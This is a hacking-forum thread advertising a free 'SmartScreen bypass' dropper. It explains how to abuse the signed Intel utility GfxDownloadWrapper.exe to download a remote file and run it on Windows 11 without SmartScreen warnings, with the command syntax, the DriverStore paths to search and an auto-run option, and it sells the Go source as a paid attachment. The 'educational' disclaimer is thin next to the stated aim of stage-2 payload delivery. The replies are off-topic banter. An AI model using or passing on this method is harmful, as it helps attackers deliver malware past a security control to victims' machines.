

Forum:[Hack Forums](#)

Thread: [FREE SmartScreen Bypass - Windows 11 - MS Trusted Download / Dropper - Easy Method](#)

Hackers - February 1, 2025, 7:57 am

Old & closed

Spoiler ([Click to View](#))

SmartScreen Bypass Usage Guide

This guide will hopefully help red teamers learn about a new method for stage 2 dropping. This method is best used in simulated environments, and is only authorized for personal research, testing, and authorized & legal use.

Download the attachment for best results & to start using the method ASAP.

Overview

This guide provides detailed instructions on how the GfxDownloadWrapper tool is used to automate the downloading and execution of a file via a system utility, bypassing SmartScreen restrictions. The program dynamically searches for GfxDownloadWrapper.exe in the system, downloads a file, and executes it based on the specified action.

1. You can learn the full method in this thread, for free.
2. You can pay for the attachment if you want the source code for the full tool. Source is written in Go/Golang, but the method works from any programming language that can trigger a system command.

The method can be used in tandem with another program.

It allows any file to be downloaded and saved to system paths, without Windows SmartScreen being triggered when the downloaded file is opened.

Follow the guide to understand where this utility is found. Once you do, you can use it from any program like this:

Code C:\path\to\GfxDownloadWrapper.exe <download_url> <destination_path>

Features

- Dynamic Search: Searches for GfxDownloadWrapper.exe in predefined system directories.
- Automated Download: Fetches a file from a remote URL and saves it to a chosen location.
- Execution Control: Offers options to leave the file or run it immediately.
- Bypass SmartScreen: Uses GfxDownloadWrapper.exe to execute the downloaded file, avoiding SmartScreen warnings.
- Dynamic User Handling: Adapts file paths to the currently logged-in user.

More Info:

Download the attachment for best results & to start using the method ASAP.

Prerequisites

- Windows operating system
- Administrator privileges (recommended)
- GfxDownloadWrapper.exe must be present in C:\Windows\System32\DriverStore\FileRepository\ (e.g., cui, igd, ki, k1, 64k)

How It Works

1. Searching for GfxDownloadWrapper.exe

The program scans predefined directories (C:\Windows\System32\DriverStore\FileRepository\ (e.g., cui, igd, ki, k1, 64k)) for GfxDownloadWrapper.exe. It filters directories based on these prefixes and identifies the executable dynamically.

Example of where it could be found:

Code

C:\Windows\System32\DriverStore\FileRepository\cui_dch.inf_amd64_6df442103a1937a4\GfxDownloadWrapper.exe

2. Downloading a File

- File URL: <https://ash-speed.hetzner.com/100MB.bin>
- Destination: The downloaded file can be saved anywhere specified by the user (e.g., the desktop).

3. Executing GfxDownloadWrapper.exe

Once found, GfxDownloadWrapper.exe is executed with the parameters:

Code GfxDownloadWrapper.exe <download_url> <destination_path>

4. Handling the Downloaded File

The program offers two post-download actions:

- Leave: Retains the file at the destination without further action.
- Run: Executes the downloaded file as a new process, bypassing SmartScreen.

Code Breakdown

findWrapper()

Scans predefined system directories for GfxDownloadWrapper.exe, applying a regex filter and valid directory prefixes.

executeWrapper()

Invokes GfxDownloadWrapper.exe with the download URL and destination file path.

runDownloadedFile()

Executes the downloaded file as a new process and waits for its completion.

Usage Instructions

1. Run the script as an administrator.
2. The program automatically detects and executes GfxDownloadWrapper.exe.
3. The specified file is downloaded to a chosen location.
4. The downloaded file is either left or executed based on the action setting.

Customization

- Modify the URL: Change the value of url to download a different file.
- Change the destination: Update destination to specify a different save location.
- Adjust post-download action: Modify the action variable (leave or run).

Notes

- Ensure GfxDownloadWrapper.exe is present in the system directory (C:\Windows\System32\DriverStore\FileRepository\ (e.g., cui, igd, ki, k1, 64k)).
- Running without administrator privileges may limit functionality, but this works fine on Windows 11.
- The script does not alter system files and only downloads the specified file.
- SmartScreen warnings are not triggered because it was downloaded from a trusted utility (GfxDownloadWrapper).

Source Code

This Go/Golang program can be compiled and/or run to use. It will immediately identify the current username and search for the valid GfxDownloadWrapper paths in System32 subfolders. Once found, it will then use it to download your specified URL to the path you have set in your version of the source code. By default, the program downloads a 100MB bin test file from the internet. This file has 0 functionality, and is only there to demonstrate the downloading feature.

Use at your own risk.

More info:

On line 51, you can swap from "leave" to "run" if you want your program to automatically run after it finishes downloading.

Download the attachment for best results & to start using the method ASAP.

Disclaimer

This script is intended for educational and administrative automation purposes only. Use responsibly within compliance with organizational security policies.

TENET - February 2, 2025, 6:54 am

I heard that you are a beauty. Is it true or false?

Hackers - February 2, 2025, 6:56 am

(Feb 2, 2025 07:54 AM)TENET Wrote: [\[CITE\]](#) I heard that you are a beauty. Is it true or false?
I am beautiful, it's true

TENET - February 2, 2025, 7:02 am

(Feb 2, 2025 07:56 AM)nodes Wrote: [\[CITE\]](#) I am beautiful, it's true
Is it true or not? Unless you share the download address... I'm sure you're a super beauty.??????????

patchdev - September 5, 2025, 3:57 pm

1000 fucking bytes is crazy work

jcole - September 5, 2025, 4:02 pm

(Sep 5, 2025 03:57 PM)patchdev Wrote: [\[CITE\]](#) 1000 fucking bytes is crazy work

That's \$2, lol

Hackers - *September 5, 2025, 5:50 pm*

Hey I'm going to close this, this is old and not current